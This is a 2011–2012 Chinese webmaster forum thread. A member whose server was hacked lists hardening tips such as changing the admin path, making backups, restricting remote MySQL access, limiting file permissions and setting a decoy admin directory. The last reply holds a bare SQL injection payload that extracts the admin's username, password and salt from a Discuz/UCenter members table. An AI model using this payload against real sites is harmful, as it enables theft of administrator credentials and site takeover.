给大家提醒一下，包括admin.各位站长一定要注意[首肯网络]

390836847 · 发表于 2011-7-20 12:49:28

本人服务器今日早上被老外 hack，入侵，看见N个提权文件。

各位站长养成好的习惯。

1.

1天一个后台路径，2天Mysql数据库备份 ,3天web备份。5天3389端口更换。

2.

Mysql数据库IP限制最好是不要有远程Mysql 运行访问，（虚拟用户）

独立服务器用户，坚决不要有Mysql远程访问

3.

整站备份时名字为，垃圾或者imges来重命名。最好RAR加密（保存近期完整，纯洁的整站包)

4.重点

一定要注意后台路径一定要改成，没有login.admin......等字节，也不要用自己域名地址。最好使用新的。
我的后台路径  kao /iadmin

5.权限限制。

如果你的网站是asp.的，你就限制PHP。php网站你就限制asp. .net 的，全部限制
只给后台777权限。剩下的除了da目录，都别给权限。

6.空闲的时候，经常进入服务器看看，一个目录一个目录的进行查看。  定期进行整站搜索，如果是PHP网站你就搜索*.asp

7.给一个后台假目录

一般黑客都喜欢扫后台路径. 你就坐一个假目录 admin/admin_login。  里面的装潢自定
就让黑客去扫吧，呵呵。

我就说这么多了，看锦尚中国，每天慢慢的成长，我作为一个菜鸟技术，

最后支持乞丐，论坛。

我很看重你哦、首肯网络技术，Roman,k

91zxlm · 发表于 2011-8-5 09:43:17

为了不扰乱会员对源码的测试，有问题咨询右侧客服不要直接回复，否则视为非法信息屏蔽会员ID！

不错···

390836847 · 发表于 2012-4-10 11:46:07

为了不扰乱会员对源码的测试，有问题咨询右侧客服不要直接回复，否则视为非法信息屏蔽会员ID！

a',`subject`=(/*!select*/ concat(username,'|',password,'|',salt) from pre_ucenter_members where uid=1 limit 0,1),comment='

		自动登录	找回密码
密码			会员注册